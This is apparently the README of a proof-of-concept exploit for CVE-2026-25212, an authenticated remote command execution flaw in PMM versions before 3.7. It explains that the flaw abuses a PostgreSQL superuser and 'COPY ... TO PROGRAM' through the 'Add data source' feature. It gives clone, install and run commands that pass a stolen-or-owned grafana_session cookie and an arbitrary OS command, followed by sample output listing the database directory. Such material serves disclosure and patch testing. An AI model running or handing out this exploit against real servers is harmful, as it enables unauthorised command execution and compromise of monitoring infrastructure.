
POC for CVE-2026-25212
Critical – CVSS 9.9 – Authenticated Remote Code Execution in PMM < 3.7.
This proof‑of‑concept exploits a vulnerability where an internal PostgreSQL user in PMM retains 'SUPERUSER' privileges. An authenticated attacker (with 'pmm-admin' rights) can abuse the "Add data source" feature and execute arbitrary OS commands using PostgreSQL's 'COPY ... TO PROGRAM'.
Affected versions: PMM < 3.7
Fixed version: PMM 3.7 (and later)
requests (pip install requests)git clone https://github.com/5170Temp/CVE-2026-25212
cd CVE-2026-25212
pip install requests
COOKIE_VALUE is your grafana_session cookie value e.g 3131e17e1653ee4eeceb703fac45c717
python3 poc.py -t https://pmm.example.com --cookie "COOKIE_VALUE" -c "id"
Example output:
[+] UID: krfbxa-Dk
base
global
pg_commit_ts
pg_dynshmem
pg_hba.conf
pg_ident.conf
pg_logical
pg_multixact
pg_notify
pg_replslot
pg_serial
pg_snapshots
pg_stat
pg_stat_tmp
pg_subtrans
pg_tblspc
pg_twophase
PG_VERSION
pg_wal
pg_xact
postgresql.auto.conf
postgresql.conf
postmaster.opts
postmaster.pid
[+] Done